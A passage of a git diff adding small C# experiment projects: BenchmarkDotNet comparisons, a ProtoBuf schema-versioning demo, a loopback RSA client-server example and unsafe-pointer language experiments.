b/csharp/E011-SpacedIntBenchmarks/E011-SpacedIntBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E011_SpacedIntBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E011-SpacedIntBenchmarks/Program.cs b/csharp/E011-SpacedIntBenchmarks/Program.cs new file mode 100644 index 0000000..c6b49e8 --- /dev/null +++ b/csharp/E011-SpacedIntBenchmarks/Program.cs @@ -0,0 +1,36 @@ +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class SpacedIntBenchmarks +{ + private const int Value = 12345689; + + [Benchmark] + [Arguments(Value)] + public string SelectWithConcat(int value) + { + return string.Concat(value.ToString().Select(digit => $"{digit} ")); + } + + [Benchmark] + [Arguments(Value)] + public string DivisionWithBuilder(int value) + { + var builder = new StringBuilder(); + + while (value > 0) + { + int digit = value - (value / 10 * 10); + builder.Insert(0, digit); + builder.Insert(1, ' '); + + value /= 10; + } + + return builder.ToString(); + } +} diff --git a/csharp/E012-SourceGeneratorDummy/E012-SourceGeneratorDummy.csproj b/csharp/E012-SourceGeneratorDummy/E012-SourceGeneratorDummy.csproj new file mode 100644 index 0000000..bb192d6 --- /dev/null +++ b/csharp/E012-SourceGeneratorDummy/E012-SourceGeneratorDummy.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E012_SourceGeneratorDummy + enable + enable + + + diff --git a/csharp/E012-SourceGeneratorDummy/Program.cs b/csharp/E012-SourceGeneratorDummy/Program.cs new file mode 100644 index 0000000..7a994e2 --- /dev/null +++ b/csharp/E012-SourceGeneratorDummy/Program.cs @@ -0,0 +1,53 @@ +using System.Reflection; +using System.Text; + +Type[] s_types = Type.EmptyTypes; + +Init(); + +var source = new StringBuilder(); +using var writer = new StringWriter(source); + +foreach (Type type in s_types) +{ + writer.WriteLine("// This file was generated by X10D."); + writer.WriteLine("// Do not edit it manually."); + writer.WriteLine(); + writer.WriteLine("namespace X10D"); + writer.WriteLine(); + writer.WriteLine("public static partial class EnumerableExtensions"); + writer.WriteLine("{"); + writer.WriteLine(" /// "); + writer.WriteLine($" /// Computes the product of a sequence of values."); + writer.WriteLine(" /// "); + writer.WriteLine( + $" /// The sequence of values that are used to calculate the product."); + writer.WriteLine(" /// The product of the values in the sequence."); + + if (type.GetCustomAttribute() is { } compliant) + writer.WriteLine($" [CLSCompliant({compliant.IsCompliant.ToString().ToLower()})]"); + + writer.WriteLine($" public static {type.FullName} Product(this IEnumerable<{type.FullName}> source)"); + writer.WriteLine(" {"); + writer.WriteLine(" if (source is null)"); + writer.WriteLine(" throw new ArgumentNullException(nameof(source));"); + writer.WriteLine(); + writer.WriteLine(" var result = 1m;"); + writer.WriteLine(); + writer.WriteLine(" foreach (var item in source)"); + writer.WriteLine(" result *= item;"); + writer.WriteLine(); + writer.WriteLine(" return result;"); + writer.WriteLine(" }"); + writer.WriteLine("}"); +} + +return; + +void Init() +{ + s_types = new[] + { + typeof(int), typeof(uint) + }; +} \ No newline at end of file diff --git a/csharp/E012-SourceGeneratorDummy/StringBuilderReader.cs b/csharp/E012-SourceGeneratorDummy/StringBuilderReader.cs new file mode 100644 index 0000000..e8e24c0 --- /dev/null +++ b/csharp/E012-SourceGeneratorDummy/StringBuilderReader.cs @@ -0,0 +1,117 @@ +using System.Text; + +namespace E012_SourceGeneratorDummy; + +/// +/// Represents a reader that can read a . +/// +public class StringBuilderReader : TextReader +{ + private readonly StringBuilder _stringBuilder; + private int _index; + + /// + /// Initializes a new instance of the class. + /// + /// The to wrap. + /// is . + public StringBuilderReader(StringBuilder stringBuilder) + { + _stringBuilder = stringBuilder ?? throw new ArgumentNullException(nameof(stringBuilder)); + } + + /// + public override int Read() + { + if (_index >= _stringBuilder.Length) + return -1; + + return _stringBuilder[_index++]; + } + + /// + public override int Read(char[] buffer, int index, int count) + { + if (buffer is null) + throw new ArgumentNullException(nameof(buffer)); + if (index < 0) + throw new ArgumentOutOfRangeException(nameof(index)); + if (count < 0) + throw new ArgumentOutOfRangeException(nameof(count)); + if (buffer.Length - index < count) + throw new ArgumentException("The buffer is too small.", nameof(buffer)); + if (_index >= _stringBuilder.Length) + return -1; + + int length = Math.Min(_stringBuilder.Length - _index, count); + _stringBuilder.CopyTo(_index, buffer, index, length); + _index += length; + return length; + } + + /// + public override int Read(Span buffer) + { + int count = Math.Min(buffer.Length, _stringBuilder.Length - _index); + for (var index = 0; index < count; index++) + buffer[index] = _stringBuilder[index + _index]; + + _index += count; + return count; + } + + /// + public override int ReadBlock(Span buffer) + { + return Read(buffer); + } + + /// + public override int Peek() + { + if (_index >= _stringBuilder.Length) + return -1; + + return _stringBuilder[_index]; + } + + /// + public override int ReadBlock(char[] buffer, int index, int count) + { + if (_index >= _stringBuilder.Length) + return -1; + + int length = Math.Min(count, _stringBuilder.Length - _index); + _stringBuilder.CopyTo(_index, buffer, index, length); + _index += length; + return length; + } + + /// + public override string? ReadLine() + { + if (_index >= _stringBuilder.Length) + return null; + + int start = _index; + while (_index < _stringBuilder.Length && _stringBuilder[_index] != '\n') + _index++; + + if (_index < _stringBuilder.Length) + _index++; + + return _stringBuilder.ToString(start, _index - start - 1); + } + + /// + public override string ReadToEnd() + { + return _stringBuilder.ToString(); + } + + /// + public override void Close() + { + _index = _stringBuilder.Length; + } +} diff --git a/csharp/E013-ServerClient/E013-ServerClient.csproj b/csharp/E013-ServerClient/E013-ServerClient.csproj new file mode 100644 index 0000000..4dc4dcc --- /dev/null +++ b/csharp/E013-ServerClient/E013-ServerClient.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E013_ServerClient + enable + enable + + + diff --git a/csharp/E013-ServerClient/Program.cs b/csharp/E013-ServerClient/Program.cs new file mode 100644 index 0000000..b2955d8 --- /dev/null +++ b/csharp/E013-ServerClient/Program.cs @@ -0,0 +1,66 @@ +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Text; + +new Thread(ServerWorker).Start(); +new Thread(ClientWorker).Start(); +return; + +static void ClientWorker() +{ + using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp); + socket.Connect(new IPEndPoint(IPAddress.Loopback, 1234)); + + using var stream = new NetworkStream(socket); + + // read public key from server + using var reader = new BinaryReader(stream); + using var writer = new BinaryWriter(stream); + using var rsa = new RSACryptoServiceProvider(2048); + rsa.ImportParameters(new RSAParameters + { + Modulus = reader.ReadBytes(reader.ReadInt32()), + Exponent = reader.ReadBytes(reader.ReadInt32()) + }); + + while (Console.ReadLine() is { } line) + { + // encrypt line and send to server + byte[] encrypted = rsa.Encrypt(Encoding.UTF8.GetBytes(line), RSAEncryptionPadding.OaepSHA1); + writer.Write(encrypted.Length); + writer.Write(encrypted); + } +} + +static void ServerWorker() +{ + using var socket = new Socket(SocketType.Stream, ProtocolType.Tcp); + socket.Bind(new IPEndPoint(IPAddress.Any, 1234)); + socket.Listen(1); + + // generate RSA key pair + using var rsa = new RSACryptoServiceProvider(2048); + RSAParameters publicKey = rsa.ExportParameters(false); + + // accept client socket + using Socket client = socket.Accept(); + using var stream = new NetworkStream(client); + + // write public key + using var writer = new BinaryWriter(stream); + writer.Write(publicKey.Modulus!.Length); + writer.Write(publicKey.Modulus); + writer.Write(publicKey.Exponent!.Length); + writer.Write(publicKey.Exponent); + + while (true) + { + // read encrypted line from client + using var reader = new BinaryReader(new NetworkStream(client)); + int length = reader.ReadInt32(); + byte[] encrypted = reader.ReadBytes(length); + byte[] decrypted = rsa.Decrypt(encrypted, RSAEncryptionPadding.OaepSHA1); + Console.WriteLine($"Client sent: {Encoding.UTF8.GetString(decrypted)}"); + } +} diff --git a/csharp/E014-RemoveAllBenchmarks/E014-RemoveAllBenchmarks.csproj b/csharp/E014-RemoveAllBenchmarks/E014-RemoveAllBenchmarks.csproj new file mode 100644 index 0000000..307df37 --- /dev/null +++ b/csharp/E014-RemoveAllBenchmarks/E014-RemoveAllBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E014_RemoveAllBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E014-RemoveAllBenchmarks/Program.cs b/csharp/E014-RemoveAllBenchmarks/Program.cs new file mode 100644 index 0000000..ccb6509 --- /dev/null +++ b/csharp/E014-RemoveAllBenchmarks/Program.cs @@ -0,0 +1,43 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class RemoveAllBenchmarks +{ + private readonly List _list = new(); + + [GlobalSetup] + public void Setup() + { + for (var iterator = 0; iterator < 100; iterator++) + _list.Add(iterator % 2 == 0 ? null : string.Empty); + } + + [Benchmark] + public void RemoveAll() + { + _list.RemoveAll(x => x is null); + } + + [Benchmark] + public void ForLoop() + { + for (var index = 0; index < _list.Count; index++) + { + if (_list[index] is null) + _list.RemoveAt(index--); + } + } + + [Benchmark] + public void ReverseForLoop() + { + for (var index = _list.Count - 1; index >= 0; index--) + { + if (_list[index] is null) + _list.RemoveAt(index); + } + } +} diff --git a/csharp/E015-RegexVsCustomAttributeParser/E015-RegexVsCustomAttributeParser.csproj b/csharp/E015-RegexVsCustomAttributeParser/E015-RegexVsCustomAttributeParser.csproj new file mode 100644 index 0000000..ec8a4c9 --- /dev/null +++ b/csharp/E015-RegexVsCustomAttributeParser/E015-RegexVsCustomAttributeParser.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E015_RegexVsCustomAttributeParser + enable + enable + + + + + + + diff --git a/csharp/E015-RegexVsCustomAttributeParser/Program.cs b/csharp/E015-RegexVsCustomAttributeParser/Program.cs new file mode 100644 index 0000000..f964be6 --- /dev/null +++ b/csharp/E015-RegexVsCustomAttributeParser/Program.cs @@ -0,0 +1,69 @@ +using System.Text.RegularExpressions; +using BenchmarkDotNet.Running; +using E015_RegexVsCustomAttributeParser; + +Regex regex = new(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$", RegexOptions.Compiled | RegexOptions.IgnoreCase); + +Console.WriteLine(UsingRegex("[UseResources]")); +Console.WriteLine(UsingRegex("[UseResources(42)]")); +Console.WriteLine(UsingRegex("[UseResources(420)]")); +Console.WriteLine(UsingRegex("[UseResources(4200)]")); + +Console.WriteLine(UsingCustomParser("[UseResources]")); +Console.WriteLine(UsingCustomParser("[UseResources(42)]")); +Console.WriteLine(UsingCustomParser("[UseResources(420)]")); +Console.WriteLine(UsingCustomParser("[UseResources(4200)]")); + +BenchmarkRunner.Run(); +return; + +int UsingRegex(string input) +{ + Match match = regex.Match(input); + if (!match.Success) return 0; + if (match.Groups.Count < 3) return 0; + + Group argumentsGroup = match.Groups[1]; + Group firstArgumentGroup = match.Groups[2]; + + if (!argumentsGroup.Success || !firstArgumentGroup.Success) return 0; + return int.TryParse(firstArgumentGroup.ValueSpan, out int result) ? result : 0; +} + +static int UsingCustomParser(string input) +{ + ReadOnlySpan span = input.AsSpan(); + if (span[0] != '[' || span[^1] != ']') return 0; + + var argumentList = false; + var result = 0; + + + for (var index = 1; index < span.Length - 1; index++) + { + char current = span[index]; + if (current == '(') + { + if (argumentList) return 0; + argumentList = true; + continue; + } + + if (current == ')') + { + if (!argumentList) return 0; + argumentList = false; + continue; + } + + if (argumentList) + { + if (current is < '0' or > '9') return 0; + + int numericValue = current - '0'; + result = result * 10 + numericValue; + } + } + + return result; +} diff --git a/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomAttributeParser.cs b/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomAttributeParser.cs new file mode 100644 index 0000000..c1f153f --- /dev/null +++ b/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomAttributeParser.cs @@ -0,0 +1,116 @@ +using System.Text.RegularExpressions; +using BenchmarkDotNet.Attributes; + +namespace E015_RegexVsCustomAttributeParser; + +[SimpleJob, MemoryDiagnoser(false)] +public class RegexVsCustomAttributeParser +{ + private Regex _regex; + + [GlobalSetup] + public void Setup() + { + _regex = new Regex(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$", RegexOptions.Compiled | RegexOptions.IgnoreCase); + } + + [Benchmark] + [Arguments("[UseResources]")] + [Arguments("[UseResources(42)]")] + [Arguments("[UseResources(420)]")] + [Arguments("[UseResources(4200)]")] + public int Regex(string input) + { + Match match = _regex.Match(input); + if (!match.Success) return 0; + if (match.Groups.Count < 3) return 0; + + Group argumentsGroup = match.Groups[1]; + Group firstArgumentGroup = match.Groups[2]; + + if (!argumentsGroup.Success || !firstArgumentGroup.Success) return 0; + return int.TryParse(firstArgumentGroup.ValueSpan, out int result) ? result : 0; + } + + /*[Benchmark] +[Arguments("[UseResources]")] +[Arguments("[UseResources(42)]")] +[Arguments("[UseResources(420)]")] +[Arguments("[UseResources(4200)]")] +public int CustomParser_GetNumericValue(string input) +{ + if (input[0] != '[' || input[^1] != ']') return 0; + + var argumentList = false; + var result = 0; + + for (var index = 1; index < input.Length - 1; index++) + { + char current = input[index]; + if (current == '(') + { + if (argumentList) return 0; + argumentList = true; + continue; + } + + if (current == ')') + { + if (!argumentList) return 0; + argumentList = false; + continue; + } + + if (argumentList) + { + if (!char.IsDigit(current)) return 0; + + var numericValue = (int) char.GetNumericValue(current); + result = result * 10 + numericValue; + } + } + + return result; +}*/ + + [Benchmark] + [Arguments("[UseResources]")] + [Arguments("[UseResources(42)]")] + [Arguments("[UseResources(420)]")] + [Arguments("[UseResources(4200)]")] + public int CustomParser(string input) + { + if (input[0] != '[' || input[^1] != ']') return 0; + + var argumentList = false; + var result = 0; + + for (var index = 1; index < input.Length - 1; index++) + { + char current = input[index]; + if (current == '(') + { + if (argumentList) return 0; + argumentList = true; + continue; + } + + if (current == ')') + { + if (!argumentList) return 0; + argumentList = false; + continue; + } + + if (argumentList) + { + if (current is < '0' or > '9') return 0; + + int numericValue = current - '0'; + result = result * 10 + numericValue; + } + } + + return result; + } +} diff --git a/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomParserTest.cs b/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomParserTest.cs new file mode 100644 index 0000000..29418b4 --- /dev/null +++ b/csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomParserTest.cs @@ -0,0 +1,12 @@ +using System.Text.RegularExpressions; + +public class RegexVsCustomParserTest +{ + private static readonly Regex Regex = new(@"^\[[A-Z_][A-Z0-9_]+(\(([0-9]+)\))?\]$", + RegexOptions.Compiled | RegexOptions.IgnoreCase); + + private static void Main() + { + } + +} diff --git a/csharp/E016-ProtoBufExtendedModel/E016-ProtoBufExtendedModel.csproj b/csharp/E016-ProtoBufExtendedModel/E016-ProtoBufExtendedModel.csproj new file mode 100644 index 0000000..1dfe313 --- /dev/null +++ b/csharp/E016-ProtoBufExtendedModel/E016-ProtoBufExtendedModel.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E016_ProtoBufExtendedModel + enable + enable + + + + + + + diff --git a/csharp/E016-ProtoBufExtendedModel/ExtendedSaveData.cs b/csharp/E016-ProtoBufExtendedModel/ExtendedSaveData.cs new file mode 100644 index 0000000..84b739c --- /dev/null +++ b/csharp/E016-ProtoBufExtendedModel/ExtendedSaveData.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace E016_ProtoBufExtendedModel; + +[ProtoContract] +public class ExtendedSaveData +{ + [ProtoMember(1)] public int Health { get; set; } + + [ProtoMember(2)] public int Score { get; set; } = 50; // default value +} diff --git a/csharp/E016-ProtoBufExtendedModel/Program.cs b/csharp/E016-ProtoBufExtendedModel/Program.cs new file mode 100644 index 0000000..535f8a5 --- /dev/null +++ b/csharp/E016-ProtoBufExtendedModel/Program.cs @@ -0,0 +1,52 @@ +using E016_ProtoBufExtendedModel; +using ProtoBuf; + +const string saveFile = "save.dat"; + +{ + Console.WriteLine("Writing old model..."); + Save(new SaveData { Health = 100 }); + + Console.WriteLine("Reading old model..."); + var saveData = Load(); + Console.WriteLine($"Health is {saveData.Health}"); +} + +Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile))); +Console.WriteLine("---"); + +{ + Console.WriteLine("Reading old data to new model..."); + var saveData = Load(); + Console.WriteLine($"Health is {saveData.Health}"); + Console.WriteLine($"Score is {saveData.Score}"); // should be 50, the default + + saveData.Score = 100; // increase data + Console.WriteLine("Writing new model..."); + Save(saveData); +} + +Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile))); +Console.WriteLine("---"); + +{ + Console.WriteLine("Reading new model..."); + var saveData = Load(); + Console.WriteLine($"New loaded health is {saveData.Health}"); + Console.WriteLine($"New loaded score is {saveData.Score}"); +} + +Console.WriteLine(BitConverter.ToString(File.ReadAllBytes(saveFile))); +return; + +T Load() +{ + using FileStream stream = File.OpenRead(saveFile); + return Serializer.Deserialize(stream); +} + +void Save(T value) +{ + using FileStream stream = File.Create(saveFile); + Serializer.Serialize(stream, value); +} diff --git a/csharp/E016-ProtoBufExtendedModel/SaveData.cs b/csharp/E016-ProtoBufExtendedModel/SaveData.cs new file mode 100644 index 0000000..fc7b38e --- /dev/null +++ b/csharp/E016-ProtoBufExtendedModel/SaveData.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace E016_ProtoBufExtendedModel; + +[ProtoContract] +public class SaveData +{ + [ProtoMember(1)] public int Health { get; set; } +} \ No newline at end of file diff --git a/csharp/E017-PowVsManualSquareBenchmarks/E017-PowVsManualSquareBenchmarks.csproj b/csharp/E017-PowVsManualSquareBenchmarks/E017-PowVsManualSquareBenchmarks.csproj new file mode 100644 index 0000000..be3daf9 --- /dev/null +++ b/csharp/E017-PowVsManualSquareBenchmarks/E017-PowVsManualSquareBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E017_PowVsManualSquareBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E017-PowVsManualSquareBenchmarks/Program.cs b/csharp/E017-PowVsManualSquareBenchmarks/Program.cs new file mode 100644 index 0000000..f6da95e --- /dev/null +++ b/csharp/E017-PowVsManualSquareBenchmarks/Program.cs @@ -0,0 +1,40 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob] +public class PowVsManualSquare +{ + [Benchmark] + [Arguments(1, 2)] + [Arguments(10, 3)] + [Arguments(100, 4)] + public double Pow(double x, int y) + { + return Math.Pow(x, 2); + } + + [Benchmark] + [Arguments(1, 2)] + [Arguments(10, 3)] + [Arguments(100, 4)] + public double ForLoop(double x, int y) + { + var result = 1.0; + + for (var i = 0; i < y; i++) + result *= x; + + return result; + } + + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + public double XTimesX(double x) + { + return x * x; + } +} diff --git a/csharp/E018-OneLineMultiAssignment/E018-OneLineMultiAssignment.csproj b/csharp/E018-OneLineMultiAssignment/E018-OneLineMultiAssignment.csproj new file mode 100644 index 0000000..02f5fd1 --- /dev/null +++ b/csharp/E018-OneLineMultiAssignment/E018-OneLineMultiAssignment.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E018_OneLineMultiAssignment + enable + enable + + + diff --git a/csharp/E018-OneLineMultiAssignment/Program.cs b/csharp/E018-OneLineMultiAssignment/Program.cs new file mode 100644 index 0000000..bda7c99 --- /dev/null +++ b/csharp/E018-OneLineMultiAssignment/Program.cs @@ -0,0 +1,5 @@ +string[] foo; +bool ready = (foo = ["1", "2"]).Length <= int.MaxValue; + +Console.WriteLine(ready); +Console.WriteLine(string.Join(", ", foo)); diff --git a/csharp/E019-NullStringTest/E019-NullStringTest.csproj b/csharp/E019-NullStringTest/E019-NullStringTest.csproj new file mode 100644 index 0000000..abccc7f --- /dev/null +++ b/csharp/E019-NullStringTest/E019-NullStringTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E019_NullStringTest + enable + enable + + + diff --git a/csharp/E019-NullStringTest/Program.cs b/csharp/E019-NullStringTest/Program.cs new file mode 100644 index 0000000..3d9fb12 --- /dev/null +++ b/csharp/E019-NullStringTest/Program.cs @@ -0,0 +1,16 @@ +var upArrow = ((char)0x18).ToString(); +var downArrow = ((char)0x19).ToString(); +var rightArrow = ((char)0x1A).ToString(); +var leftArrow = ((char)0x1B).ToString(); + +while (true) +{ + Console.Write("Input: "); + string? input = Console.ReadLine(); + + if (input == upArrow) Console.WriteLine("Up arrow"); + else if (input == downArrow) Console.WriteLine("Down arrow"); + else if (input == rightArrow) Console.WriteLine("Right arrow"); + else if (input == leftArrow) Console.WriteLine("Left arrow"); + else if (input is null) Console.WriteLine("Null"); +} diff --git a/csharp/E020-NestedStructPointer/E020-NestedStructPointer.csproj b/csharp/E020-NestedStructPointer/E020-NestedStructPointer.csproj new file mode 100644 index 0000000..8c2dedc --- /dev/null +++ b/csharp/E020-NestedStructPointer/E020-NestedStructPointer.csproj @@ -0,0 +1,12 @@ + + + + Exe + net8.0 + E020_NestedStructPointer + enable + enable + true + + + diff --git a/csharp/E020-NestedStructPointer/Program.cs b/csharp/E020-NestedStructPointer/Program.cs new file mode 100644 index 0000000..510cd91 --- /dev/null +++ b/csharp/E020-NestedStructPointer/Program.cs @@ -0,0 +1,31 @@ +unsafe +{ + A a = new(); + a.a->i = 1; + Console.WriteLine(a.i); + Console.WriteLine(a.a->i); + + A b = new(); + b.a->i = 1; + Console.WriteLine(b.i); + Console.WriteLine(b.a->i); + b.i = 2; +} + +unsafe struct A +{ + public A() + { + // ReSharper disable once LocalVariableHidesMember + fixed (A* a = &this) + { + this.a = a; + } + + i = 0; + } + + public A* a; + + public int i; +} diff --git a/csharp/E021-Nearest5MinuteDateTime/E021-Nearest5MinuteDateTime.csproj b/csharp/E021-Nearest5MinuteDateTime/E021-Nearest5MinuteDateTime.csproj new file mode 100644 index 0000000..184b9e3 --- /dev/null +++ b/csharp/E021-Nearest5MinuteDateTime/E021-Nearest5MinuteDateTime.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E021_Nearest5MinuteDateTime + enable + enable + + + diff --git a/csharp/E021-Nearest5MinuteDateTime/Program.cs b/csharp/E021-Nearest5MinuteDateTime/Program.cs new file mode 100644 index 0000000..fa18d59 --- /dev/null +++ b/csharp/E021-Nearest5MinuteDateTime/Program.cs @@ -0,0 +1,6 @@ +DateTime now = DateTime.Now; +double minutes = Math.Round((now.Hour * 60 + now.Minute) / 5.0) * 5.0; +DateTime nearest5Minute = DateTime.Today + TimeSpan.FromMinutes(minutes); + +Console.WriteLine($"The current time is {now}"); +Console.WriteLine($"The closest 5-minute marker is {nearest5Minute}"); diff --git a/csharp/E022-ModifyReadonly/E022-ModifyReadonly.csproj b/csharp/E022-ModifyReadonly/E022-ModifyReadonly.csproj new file mode 100644 index 0000000..4bf514b --- /dev/null +++ b/csharp/E022-ModifyReadonly/E022-ModifyReadonly.csproj @@ -0,0 +1,12 @@ + + + + Exe + net8.0 + E022_ModifyReadonly + enable + enable + true + + + diff --git a/csharp/E022-ModifyReadonly/Program.cs b/csharp/E022-ModifyReadonly/Program.cs new file mode 100644 index 0000000..4f95555 --- /dev/null +++ b/csharp/E022-ModifyReadonly/Program.cs @@ -0,0 +1,22 @@ +var foo = new Foo(42); +Console.WriteLine(foo.X); +foo.ChangeX(69); +Console.WriteLine(foo.X); + +public struct Foo +{ + public readonly int X; + + public Foo(int x) + { + X = x; + } + + public readonly unsafe void ChangeX(int newValue) + { + fixed (int* ptr = &X) + { + *ptr = newValue; + } + } +} diff --git a/csharp/E023-MathEstimateBenchmarks/E023-MathEstimateBenchmarks.csproj b/csharp/E023-MathEstimateBenchmarks/E023-MathEstimateBenchmarks.csproj new file mode 100644 index 0000000..4f62d47 --- /dev/null +++ b/csharp/E023-MathEstimateBenchmarks/E023-MathEstimateBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E023_MathEstimateBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E023-MathEstimateBenchmarks/Program.cs b/csharp/E023-MathEstimateBenchmarks/Program.cs new file mode 100644 index 0000000..8770d6d --- /dev/null +++ b/csharp/E023-MathEstimateBenchmarks/Program.cs @@ -0,0 +1,20 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class MathEstimateBenchmarks +{ + [Benchmark, Arguments(10)] + public double OneOverX(double x) => 1.0 / x; + + [Benchmark, Arguments(10)] + public double ReciprocalEstimate(double x) => Math.ReciprocalEstimate(x); + + [Benchmark, Arguments(10)] + public double OneOverSqrtX(double x) => 1.0 / Math.Sqrt(x); + + [Benchmark, Arguments(10)] + public double ReciprocalSqrtEstimate(double x) => Math.ReciprocalSqrtEstimate(x); +} diff --git a/csharp/E024-Foreach/E024-Foreach.csproj b/csharp/E024-Foreach/E024-Foreach.csproj new file mode 100644 index 0000000..dcfe3f7 --- /dev/null +++ b/csharp/E024-Foreach/E024-Foreach.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E024_Foreach + enable + enable + + + diff --git a/csharp/E024-Foreach/Program.cs b/csharp/E024-Foreach/Program.cs new file mode 100644 index 0000000..508c6cd --- /dev/null +++ b/csharp/E024-Foreach/Program.cs @@ -0,0 +1,16 @@ +foreach (int i in new CountTo(10)) +{ + Console.WriteLine(i); +} + +public readonly struct CountTo(int max) +{ + public CountToEnumerator GetEnumerator() => new(max); + + public struct CountToEnumerator(int max) + { + public int Current { get; private set; } = 0; + + public bool MoveNext() => Current++ < max; + } +} diff --git a/csharp/E025-FirstOrDefaultStruct/E025-FirstOrDefaultStruct.csproj b/csharp/E025-FirstOrDefaultStruct/E025-FirstOrDefaultStruct.csproj new file mode 100644 index 0000000..8551198 --- /dev/null +++ b/csharp/E025-FirstOrDefaultStruct/E025-FirstOrDefaultStruct.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E025_FirstOrDefaultStruct + enable + enable + + + diff --git a/csharp/E025-FirstOrDefaultStruct/Program.cs b/csharp/E025-FirstOrDefaultStruct/Program.cs new file mode 100644 index 0000000..3c4d4fd --- /dev/null +++ b/csharp/E025-FirstOrDefaultStruct/Program.cs @@ -0,0 +1,10 @@ +var array = new SomeStruct[500]; +array[100] = new SomeStruct {x = 42}; + +SomeStruct first = array.FirstOrDefault(item => !item.Equals(new SomeStruct())); +Console.WriteLine(first.x); + +struct SomeStruct +{ + public int x; +} diff --git a/csharp/E026-DictionaryBenchmarks/E026-DictionaryBenchmarks.csproj b/csharp/E026-DictionaryBenchmarks/E026-DictionaryBenchmarks.csproj new file mode 100644 index 0000000..91aa579 --- /dev/null +++ b/csharp/E026-DictionaryBenchmarks/E026-DictionaryBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E026_DictionaryBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E026-DictionaryBenchmarks/Program.cs b/csharp/E026-DictionaryBenchmarks/Program.cs new file mode 100644 index 0000000..f1b45b8 --- /dev/null +++ b/csharp/E026-DictionaryBenchmarks/Program.cs @@ -0,0 +1,27 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob] +public class DictionaryBenchmarks +{ + public IEnumerable Sizes => new[] { 10, 100, 1000, 10000, 100000, 1000000 }; + + [Benchmark] + [ArgumentsSource(nameof(Sizes))] + public void Get(int size) + { + var dict = new Dictionary(); + for (var i = 0; i < size; i++) + { + dict[i] = i; + } + + var n = 0; + for (var i = 0; i < size; i++) + { + n = dict[i]; + } + } +} diff --git a/csharp/E027-ConfigurationBenchmarks/E027-ConfigurationBenchmarks.csproj b/csharp/E027-ConfigurationBenchmarks/E027-ConfigurationBenchmarks.csproj new file mode 100644 index 0000000..0799ca2 --- /dev/null +++ b/csharp/E027-ConfigurationBenchmarks/E027-ConfigurationBenchmarks.csproj @@ -0,0 +1,17 @@ + + + + Exe + net8.0 + E027_ConfigurationBenchmarks + enable + enable + + + + + + + + + diff --git a/csharp/E027-ConfigurationBenchmarks/Program.cs b/csharp/E027-ConfigurationBenchmarks/Program.cs new file mode 100644 index 0000000..7a2f3d8 --- /dev/null +++ b/csharp/E027-ConfigurationBenchmarks/Program.cs @@ -0,0 +1,41 @@ +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; +using Microsoft.Extensions.Configuration; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ConfigurationBenchmarks +{ + private IConfiguration _configuration = null!; + + [GlobalSetup] + public void Setup() + { + const string rawJson = """ + { + "foo": { + "bar": { + "value": "Hello World" + } + } + } + """; + + using var stream = new MemoryStream(Encoding.UTF8.GetBytes(rawJson)); + _configuration = new ConfigurationBuilder().AddJsonStream(stream).Build(); + } + + [Benchmark] + public string? NestedCalls() + { + return _configuration.GetSection("foo").GetSection("bar").GetSection("value").Value; + } + + [Benchmark] + public string? SingleCall() + { + return _configuration.GetSection("foo:bar:value").Value; + } +} diff --git a/csharp/E028-ClassMemoryAddress/E028-ClassMemoryAddress.csproj b/csharp/E028-ClassMemoryAddress/E028-ClassMemoryAddress.csproj new file mode 100644 index 0000000..3068204 --- /dev/null +++ b/csharp/E028-ClassMemoryAddress/E028-ClassMemoryAddress.csproj @@ -0,0 +1,12 @@ + + + + Exe + net8.0 + E028_ClassMemoryAddress + enable + enable + true + + + diff --git a/csharp/E028-ClassMemoryAddress/Program.cs b/csharp/E028-ClassMemoryAddress/Program.cs new file mode 100644 index 0000000..417d56b --- /dev/null +++ b/csharp/E028-ClassMemoryAddress/Program.cs @@ -0,0 +1,12 @@ +unsafe +{ + var instance = new 